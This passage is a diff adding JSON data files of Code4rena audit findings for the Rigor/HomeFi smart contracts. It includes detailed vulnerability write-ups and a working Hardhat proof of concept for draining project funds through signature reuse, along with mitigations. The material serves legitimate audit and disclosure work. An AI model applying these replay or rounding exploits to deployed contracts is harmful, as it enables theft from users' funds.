"valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/186", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Builder can halve the interest paid to a community owner due to arithmetic rounding", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/180", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "valid"], "target": "2022-08-rigor-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L685-L686 # Vulnerability details ## Impact Due to arithmetic rounding in `returnToLender()`, a builder can halve the APR paid to a community owner by paying every 1.9999 days. This allows a builder to drastically decrease the amount of interest paid to a community owner, which in turn allows them to advertise very high APR rates to secure funding, most of which they will not pay. This issue occurs in the calculation of `noOfDays` in `returnToLender()` which calculates the number of days since interest has last been calculated. If a builder repays a very small amount of tokens every 1.9999 days, then the `noOfDays` will be rounded down to `1 days` however `lastTimestamp` is updated to the current timestamp anyway, so the builder essentially accumulates only 1 day of interest after 2 days. I believe this is high severity because a community owner can have a drastic decrease in interest gained from a loan which counts as lost rewards. Additionally, this problem does not require a malicious builder because if a builder pays at a wrong time, the loaner receives less interest anyway. ## Proof of Concept 1. A community owner provides a loan of 500_000 tokens to a builder with an APR of 10% (ignoring treasury fees) 2. Therefore, the community owner will expect an interest of 136.9 tokens per day (273.9 per 2 days) 3. A builder repays 0.000001 tokens at `lastTimestamp + 2*86400 - 1` 4. `noOfDays` rounds down to 1 thereby accumulating `500_000 * 100 * 1 / 365000 = 136` tokens for 2 days 5. Therefore, the community owner only receives 5% APR with negligible expenses for the builder ## Tools Used VS Code ## Recommended Mitigation Steps There are two possible mitigations: 1. Add a scalar to `noOfDays` so that any rounding which occurs is negligible i.e. ```solidity uint256 _noOfDays = (block.timestamp - _communityProject.lastTimestamp) * SCALAR / 86400; // 24*60*60 /// Interest formula = (principal * APR * days) / (365 * 1000) // prettier-ignore uint256 _unclaimedInterest = _lentAmount * _communities[_communityID].projectDetails[_project].apr * _noOfDays / 365000 / SCALAR; ``` 2. Remove the `noOfDays` calculation and calculate interest in one equation which reduces arithmetic rounding ```solidity uint256 _unclaimedInterest = _lentAmount * _communities[_communityID].projectDetails[_project].apr * (block.timestamp - _communityProject.lastTimestamp) / 365000 / 86400; ``` "}, {"title": "Signature Checks could be passed when SignatureDecoder.recoverKey() returns 0", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/179", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "valid"], "target": "2022-08-rigor-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Project.sol#L887 https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Project.sol#L108-L115 # Vulnerability details ## Impact It is possible to pass Signature Validity check with an SignatureDecoder.recoverKey() returns 0 whenever the builder and /or contractor have an existing approved hash for a data. With occurrence of above, any user can call changeOrder or setComplete functions successfully after user approves data hashes. ## Tools Used Manual review ## Recommended Mitigation Steps There should be a require check for `_recoveredSignature != 0` in checkSignatureValidity()"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/177", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}] \ No newline at end of file diff --git a/results/codearena_findings_24.json b/results/codearena_findings_24.json new file mode 100644 index 0000000..c7c16f2 --- /dev/null +++ b/results/codearena_findings_24.json @@ -0,0 +1 @@ +[{"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/176", "labels": ["bug", "G (Gas Optimization)", "old-submission-method", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/175", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/174", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "No checks for ongoing dispute before some Ciritical Actions", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/171", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "valid"], "target": "2022-08-rigor-findings", "body": "No checks for ongoing dispute before some Ciritical Actions"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/170", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/169", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/167", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/166", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Builder can call `Community.escrow` again to reduce debt further using same signatures", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/161", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "valid"], "target": "2022-08-rigor-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L509 # Vulnerability details ## Impact Since there is no nonce in the data decoded at the beginning of function `escrow`, a builder can call the function multiple times reducing their debt as much as they wish. ## Proof of Concept - A builder has a debt of $50,000 - A lender, a builder, and an escrow agent all ~~enter a bar~~ sign a message that will reduce the debt of the builder by $5,000, upon receipt of physical cash. - Function `escrow` is called and debt is reduced to $45,000. - The builder, using the same `_data` and `_signature` then calls `escrow` a further 9 times reducing their debt to zero. ## Recommended Mitigation Steps 1. Similar to function `publishProject`, add a new field into the [ProjectDetails](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/interfaces/ICommunity.sol#L19-L32) struct called `escrowNonce`. 2. Modify function `escrow` to check this nonce and update it after the debt has been reduced. See the diff below for full changes. ```diff diff --git a/contracts/Community.sol b/contracts/Community.sol index 1585670..b834d0e 100644 --- a/contracts/Community.sol +++ b/contracts/Community.sol @@ -15,7 +15,7 @@ import {SignatureDecoder} from \"./libraries/SignatureDecoder.sol\"; /** * @title Community Contract for HomeFi v2.5.0 - + * @notice Module for coordinating lending groups on HomeFi protocol */ contract Community is @@ -520,10 +520,11 @@ contract Community is address _agent, address _project, uint256 _repayAmount, + uint256 _escrowNonce, bytes memory _details ) = abi.decode( _data, - (uint256, address, address, address, address, uint256, bytes) + (uint256, address, address, address, address, uint256, uint256, bytes) ); // Compute hash from bytes @@ -540,6 +541,12 @@ contract Community is _lender == _communities[_communityID].owner, \"Community::!Owner\" ); + ProjectDetails storage _communityProject = + _communities[_communityID].projectDetails[_project]; + require( + _escrowNonce == _communityProject.escrowNonce, + \"Community::invalid escrowNonce\" + ); // check signatures checkSignatureValidity(_lender, _hash, _signature, 0); // must be lender @@ -548,6 +555,7 @@ contract Community is // Internal call to reduce debt _reduceDebt(_communityID, _project, _repayAmount, _details); + _communityProject.escrowNonce = _communityProject.escrowNonce + 1; emit DebtReducedByEscrow(_agent); } diff --git a/contracts/interfaces/ICommunity.sol b/contracts/interfaces/ICommunity.sol index c45bbf0..652f51c 100644 --- a/contracts/interfaces/ICommunity.sol +++ b/contracts/interfaces/ICommunity.sol @@ -29,6 +29,7 @@ interface ICommunity { uint256 lentAmount; // current principal lent to project (needs to be repaid by project's builder) uint256 interest; // total accrued interest on `lentAmount` uint256 lastTimestamp; // timestamp when last lending / repayment was made + uint256 escrowNonce; // signing nonce to use when reducing debt by escrow } ```"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/157", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/156", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/154", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/152", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/151", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/150", "labels": ["bug", "G (Gas Optimization)", "old-submission-method", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/149", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/148", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/147", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/146", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/145", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/144", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/143", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/129", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/123", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Hash for Project is not controlled - projects with the same hash are possible, and NFTs with the same URI", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/120", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "valid"], "target": "2022-08-rigor-findings", "body": "Hash for Project is not controlled - projects with the same hash are possible, and NFTs with the same URI"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/118", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/112", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/111", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/110", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/109", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/104", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "no use of safeMint() as safe guard for users", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/102", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "no use of safeMint() as safe guard for users"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/101", "labels": ["bug", "G (Gas Optimization)", "old-submission-method", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/99", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/98", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/97", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Project funds can be drained by reusing signatures, in some cases", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/95", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "valid"], "target": "2022-08-rigor-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L386-L490 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L330-L359 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/libraries/Tasks.sol#L153-L164 # Vulnerability details This attack path is the results of signatures reusing in 2 functions - `changeOrder()` and `setComplete()`, and a missing modifier at `Tasks.unApprove()` library function. ## Impact ### Draining the project from funds Current or previous subcontractor of a task can drain the project out of its funds by running `setComplete()` multiple times. This can be exploited in 3 scenarios: * The price of a task was changed to a price higher than available funds (i.e. `totalLent - _totalAllocated`, and therefore gets unapproved), and than changed back to the original price (or any price that's not higher than available funds) * The subcontractor for a task was changed via `changeOrder` and then changed back to the original subcontractor * e.g. - Bob was the original SC, it was changed to Alice, and then back to Bob * Similar to the case above, but even if the current SC is different from the original SC - it can still work if the current and previous SCs are teaming up to run the attack * e.g. Bob was the original SC, it was changed to Alice, and changed again to Eve. And now Alice and Eve are teaming up to drain funds from the project After `setComplete()` ran once by the legitimate users (i.e. signed by contractor, SC and builder), the attackers can now run it multiple times: * Reuse signatures to run `changeOrder()` - changing SC or setting the price to higher than available funds * The only signer that might change is the subcontractor, he's either teaming up with the attacker (scenario #3) or he was the SC when it was first called (scenario #2) * In case of price change: * change it back to the original price via `changeOrder()`, reusing signatures * Run `allocateFunds()` to mark it as funded again * SC runs `acceptInvite()` to mark task as active * Run `setComplete()` reusing signatures * If SC has changed - replace his signature with the current one (current SC should be one of the attackers) * Repeat till the project runs out of funds ### Changing tasks costs/subcontractor by external users This can also be used by external users (you don't need to be builder/GC/SC in order to run `changeOrder()`) to troll the system (This still requires the task to be changed at least twice, otherwise re-running `changeOrder()` with the same data would have no effect). * Changing the task cost up or down, getting the SC paid a different amount than intended (if it goes unnoticed, or front-run the `setComplete()` function) * Unapproving a task by setting a different SC or a price higher than available funds * The legitimate users can change it back, but the attacker can change it again, both sides playing around till someone gets tired :) ## Proof of Concept Since the tests depend on each other, the PoC tests were created by adding them to the file `test/utils/projectTests.ts`, after the function `it('should be able to complete a task'` ( [Line 1143](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/test/utils/projectTests.ts#L1143) ). In the first test - a subcontractor is changed and then changed back. In the second scenario a price is changed to the new price (that is higher than the total available funds, and therefore is unapproved) and then back to its original price (it can actually be any price that is not higher than the available funds). In both cases I'm demonstrating how the project can be drained out of fund, ```typescript type DataType = { types: string[]; values: (string | number)[]; }; it('PoC change SC', async () => { const taskID = 1; let taskDetails = await project.getTask(taskID); const scBob = taskDetails.subcontractor; const scAliceSigner = signers[4]; console.log({ scBob, alice: scAliceSigner.address }); const newCost = taskCost; // same as old console.log(taskDetails); // await (await project.inviteSC([taskID], [signers[2].address])).wait(); const changeToAliceData = { types: ['uint256', 'address', 'uint256', 'address'], values: [taskID, scAliceSigner.address, newCost, project.address], }; const changeToAliceSignedData = await signData(changeToAliceData); await changeSC(changeToAliceSignedData[0], changeToAliceSignedData[1]); const changeToBobData = { types: ['uint256', 'address', 'uint256', 'address'], values: [taskID, scBob, newCost, project.address], }; const changeToBobSignedData = await signData(changeToBobData); await changeSC(changeToBobSignedData[0], changeToBobSignedData[1]); const bobSigner = getSignerByAddress(signers, scBob); await (await project.connect(bobSigner).acceptInviteSC([taskID])).wait(); // for some reason if you don't do this you get 'Mock on the method is not initialized' error await mockDAIContract.mock.transfer .withArgs(scAliceSigner.address, taskCost) .returns(true); await mockDAIContract.mock.transfer .withArgs(scBob, taskCost) .returns(true); await mockDAIContract.mock.transfer .withArgs(await homeFiContract.treasury(), taskCost / 1e3) .returns(true); const setCompleteData = { types: ['uint256', 'address'], values: [taskID, project.address], }; let setCompleteSignedData = await signData(setCompleteData); let tx = await project.setComplete(setCompleteSignedData[0], setCompleteSignedData[1]); await expect(tx).to.emit(project, 'TaskComplete').withArgs(taskID); // attack start await changeSC(changeToAliceSignedData[0], changeToAliceSignedData[1]); await (await project.connect(scAliceSigner).acceptInviteSC([taskID])).wait(); // the only thing that has changed is that alice became a subcontractor // IRL Alice can simply take the old signatures and replace Bob's signature // with her own signature let aliceSetCompleteSignedData = await signData(setCompleteData); tx = await project.setComplete(setCompleteSignedData[0], aliceSetCompleteSignedData[1]); await expect(tx).to.emit(project, 'TaskComplete').withArgs(taskID); await changeSC(changeToBobSignedData[0], changeToBobSignedData[1]); await changeSC(changeToAliceSignedData[0], changeToAliceSignedData[1]); await (await project.connect(scAliceSigner).acceptInviteSC([taskID])).wait(); tx = await project.setComplete(setCompleteSignedData[0], aliceSetCompleteSignedData[1]); await expect(tx).to.emit(project, 'TaskComplete').withArgs(taskID); async function signData(data: DataType) { let contractor = await project.contractor(); let builder = await project.builder(); let taskDetails = await project.getTask(taskID); let sc = taskDetails.subcontractor; // console.log({ contractor, builder, sc }) let changeSignersAddress = [contractor, sc]; let contractorDelegated = await project.contractorDelegated(); if (!contractorDelegated) { changeSignersAddress.unshift(builder); } changeSignersAddress = changeSignersAddress.filter(x => x !== ethers.constants.AddressZero); const dataSigners = changeSignersAddress.map(signer => getSignerByAddress(signers, signer)); // console.log({ changeSignersAddress }) return await multisig(data, dataSigners); } async function changeSC(encodedData: string, signature: string) { const tx = await project.changeOrder(encodedData, signature); tx.wait(); await expect(tx).to.emit(project, 'ChangeOrderSC'); } }); it('PoC change cost', async () => { const taskID = 1; let taskDetails = await project.getTask(taskID); const originalSC = taskDetails.subcontractor; const originalCost = taskCost; const veryHighNewCost = taskCost * 10; console.log(taskDetails); // await (await project.inviteSC([taskID], [signers[2].address])).wait(); const changeToNewData = { types: ['uint256', 'address', 'uint256', 'address'], values: [taskID, originalSC, veryHighNewCost, project.address], }; const changeToNewSignedData = await signData(changeToNewData); await changeCost(changeToNewSignedData[0], changeToNewSignedData[1]); const changeBackToOldData = { types: ['uint256', 'address', 'uint256', 'address'], values: [taskID, originalSC, originalCost, project.address], }; const changeBackToOldSignedData = await signData(changeBackToOldData); await changeCost(changeBackToOldSignedData[0], changeBackToOldSignedData[1]); taskDetails = await project.getTask(taskID); await expect(taskDetails.cost).to.be.equal(originalCost); const originalSCSigner = getSignerByAddress(signers, originalSC); await (await project.connect(originalSCSigner).acceptInviteSC([taskID])).wait(); await project.allocateFunds(); // for some reason if you don't do this you get 'Mock on the method is not initialized' error await mockDAIContract.mock.transfer .withArgs(originalSC, taskCost) .returns(true); await mockDAIContract.mock.transfer .withArgs(await homeFiContract.treasury(), taskCost / 1e3) .returns(true); const setCompleteData = { types: ['uint256', 'address'], values: [taskID, project.address], }; let setCompleteSignedData = await signData(setCompleteData); let tx = await project.setComplete(setCompleteSignedData[0], setCompleteSignedData[1]); await expect(tx).to.emit(project, 'TaskComplete').withArgs(taskID); // attack start await changeCost(changeToNewSignedData[0], changeToNewSignedData[1]); await changeCost(changeBackToOldSignedData[0], changeBackToOldSignedData[1]); await (await project.connect(originalSCSigner).acceptInviteSC([taskID])).wait(); await project.allocateFunds(); tx = await project.setComplete(setCompleteSignedData[0], setCompleteSignedData[1]); await expect(tx).to.emit(project, 'TaskComplete').withArgs(taskID); await changeCost(changeToNewSignedData[0], changeToNewSignedData[1]); await changeCost(changeBackToOldSignedData[0], changeBackToOldSignedData[1]); await (await project.connect(originalSCSigner).acceptInviteSC([taskID])).wait(); await project.allocateFunds(); tx = await project.setComplete(setCompleteSignedData[0], setCompleteSignedData[1]); await expect(tx).to.emit(project, 'TaskComplete').withArgs(taskID); async function signData(data: DataType) { let contractor = await project.contractor(); let builder = await project.builder(); let taskDetails = await project.getTask(taskID); let sc = taskDetails.subcontractor; // console.log({ contractor, builder, sc }) let changeSignersAddress = [contractor, sc]; let contractorDelegated = await project.contractorDelegated(); if (!contractorDelegated) { changeSignersAddress.unshift(builder); } changeSignersAddress = changeSignersAddress.filter(x => x !== ethers.constants.AddressZero); const dataSigners = changeSignersAddress.map(signer => getSignerByAddress(signers, signer)); // console.log({ changeSignersAddress }) return await multisig(data, dataSigners); } async function changeCost(encodedData: string, signature: string) { const tx = await project.changeOrder(encodedData, signature); tx.wait(); // await expect(tx).to.emit(project, 'ChangeOrderSC'); } }); ``` ## Tools Used Hardhat ## Recommended Mitigation Steps * Use nonce to protect `setComplete()` and `changeOrder()` from signatures reuse * Add the `onlyActive()` modifier to `Tasks.unApprove()` * Consider limiting `allocateFunds()` for builder only (this is not necessary to resolve the bug, just for hardening security)"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/93", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Hash approval not possible when contractor == subcontractor", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/86", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "valid"], "target": "2022-08-rigor-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-rigor/blob/f2498c86dbd0e265f82ec76d9ec576442e896a87/contracts/Project.sol#L859 # Vulnerability details ## Impact & Proof Of Concept When a contractor (let's say Bob) is also a subcontractor (which can be a valid scenario), it is not possible to use the hash approval feature for `checkSignatureTask`. The first call to `checkSignatureValidity` will already delete `approvedHashes[address(Bob)][_hash]`, the second call therefore fails. Note that the same situation would also be possible for builder == contractor, or builder == subcontractor, although those situations are probably less likely to occur. ## Recommended Mitigation Steps Delete the approval only when all checks are done."}, {"title": "changeOrder requires subcontractor signature when the subcontractor address is 0", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/85", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged", "valid"], "target": "2022-08-rigor-findings", "body": "changeOrder requires subcontractor signature when the subcontractor address is 0"}, {"title": "Wrong APR can be used when project is unpublished and published again ", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/83", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "edited-by-warden", "valid"], "target": "2022-08-rigor-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-rigor/blob/e35f5f61be9ff4b8dc5153e313419ac42964d1fd/contracts/Community.sol#L267 # Vulnerability details ## Impact When a project is unpublished from a community, it can still owe money to this community (on which it needs to pay interest according to the specified APR). However, when the project is later published again in this community, the APR can be overwritten and the overwritten APR is used for the calculation of the interest for the old project (when it was unpublished). ## Proof Of Concept 1.) Project A is published in community I with an APR of 3%. The community lends 1,000,000 USD to the project. 2.) Project A is unpublished, the `lentAmount` is still 1,000,000 USD. 3.) During one year, no calls to `repayLender`, `reduceDebt`, or `escrow` happens, i.e. the interest is never added and the `lastTimestamp` not updated. 4.) After one year, the project is published again in the same community. Because the FED raised interest rates, it is specified that the APR should be 5% from now on. 5.) Another $1,000,000 is lent to the project by calling `lendToProject`. Now, `claimInterest` is called which calculates the interest of the last year for the first million. However, the function already uses the new APR of 5%, meaning the added interest is 50,000 USD instead of the correct 30,000 USD. ## Recommended Mitigation Steps When publishing a project, if the `lentAmount` for the community is non-zero, calculate the interest before updating the APR."}, {"title": "Untyped data signing", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/75", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "valid"], "target": "2022-08-rigor-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-rigor/blob/e35f5f61be9ff4b8dc5153e313419ac42964d1fd/contracts/Community.sol#L175 https://github.com/code-423n4/2022-08-rigor/blob/e35f5f61be9ff4b8dc5153e313419ac42964d1fd/contracts/Community.sol#L213 https://github.com/code-423n4/2022-08-rigor/blob/e35f5f61be9ff4b8dc5153e313419ac42964d1fd/contracts/Community.sol#L530 https://github.com/code-423n4/2022-08-rigor/blob/f2498c86dbd0e265f82ec76d9ec576442e896a87/contracts/Disputes.sol#L91 https://github.com/code-423n4/2022-08-rigor/blob/f2498c86dbd0e265f82ec76d9ec576442e896a87/contracts/Project.sol#L142 https://github.com/code-423n4/2022-08-rigor/blob/f2498c86dbd0e265f82ec76d9ec576442e896a87/contracts/Project.sol#L167 https://github.com/code-423n4/2022-08-rigor/blob/f2498c86dbd0e265f82ec76d9ec576442e896a87/contracts/Project.sol#L235 https://github.com/code-423n4/2022-08-rigor/blob/f2498c86dbd0e265f82ec76d9ec576442e896a87/contracts/Project.sol#L286 https://github.com/code-423n4/2022-08-rigor/blob/f2498c86dbd0e265f82ec76d9ec576442e896a87/contracts/Project.sol#L346 https://github.com/code-423n4/2022-08-rigor/blob/f2498c86dbd0e265f82ec76d9ec576442e896a87/contracts/Project.sol#L402 https://github.com/code-423n4/2022-08-rigor/blob/f2498c86dbd0e265f82ec76d9ec576442e896a87/contracts/Project.sol#L499 # Vulnerability details ## Impact & Proof Of Concepts In many places of the project (see affected code), untyped application data is directly hashed and signed. This is strongly disencouraged, as it enables different attacks (that each could be considered their own issue / vulnerability, but I submitted it as one, as they have all the same root cause): 1.) Signature reuse across different Rigor projects: While some signature contain the project address, not all do. For instance, `updateProjectHash` only contains a `_hash` and a `_nonce`. Therefore, we can have the following scenario: Bob is the owner of project A and signs / submit `updateProjectHash` with nonce 0 and some hash. Then, a project B that also has Bob as the owner is created. Attacker Charlie can simply take the `_data` and `_signature` that Bob previously submitted to project A and send it to project B. As this project will have a nonce of 0 (fresh created), it will accept it. `updateTaskHash` is also affected by this. 2.) Signature reuse across different chains: Because the chain ID is not included in the data, all signatures are also valid when the project is launched on a chain with another chain ID. For instance, let's say it is also launched on Polygon. An attacker can now use all of the Ethereum signatures there. Because the Polygon addresses of user's (and potentially contracts, when the nonces for creating are the same) are often identical, there can be situations where the payload is meaningful on both chains. 3.) Signature reuse across Rigor functions: Some functions accept and decode data / signatures that were intended for other functions. For instance, see this example of providing the data & signature that was intended for `inviteContractor` to `setComplete`: ```diff diff --git a/test/utils/projectTests.ts b/test/utils/projectTests.ts index ae9e202..752e01f 100644 --- a/test/utils/projectTests.ts +++ b/test/utils/projectTests.ts @@ -441,7 +441,7 @@ export const projectTests = async ({ } }); - it('should be able to invite contractor', async () => { + it.only('should be able to invite contractor', async () => { expect(await project.contractor()).to.equal(ethers.constants.AddressZero); const data = { types: ['address', 'address'], @@ -452,6 +452,7 @@ export const projectTests = async ({ signers[1], ]); const tx = await project.inviteContractor(encodedData, signature); + const tx2 = await project.setComplete(encodedData, signature); await expect(tx) .to.emit(project, 'ContractorInvited') .withArgs(signers[1].address); ``` While this reverts because there is no task that corresponds to the address that is signed there, this is not always the case. 4.) Signature reuse from different Ethereum projects & phishing Because the payload of these signatures is very generic (two addresses, a byte and two uints), there might be situations where a user has already signed data with the same format for a completely different Ethereum application. Furthermore, an attacker could set up a DApp that uses the same format and trick someone into signing the data. Even a very security-conscious owner that has audited the contract of this DApp (that does not have any vulnerabilities and is not malicious, it simply consumes signatures that happen to have the same format) might be willing to sign data for this DApp, as he does not anticipate that this puts his Rigor project in danger. ## Recommended Mitigation Steps I strongly recommend to follow [EIP-712](https://eips.ethereum.org/EIPS/eip-712) and not implement your own standard / solution. While this also improves the user experience, this topic is very complex and not easy to get right, so it is recommended to use a battle-tested approach that people have thought in detail about. All of the mentioned attacks are not possible with EIP-712: 1.) There is always a domain separator that includes the contract address. 2.) The chain ID is included in the domain separator 3.) There is a type hash (of the function name / parameters) 4.) The domain separator does not allow reuse across different projects, phishing with an innocent DApp is no longer possible (it would be shown to the user that he is signing data for Rigor, which he would off course not do on a different site)"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/74", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": 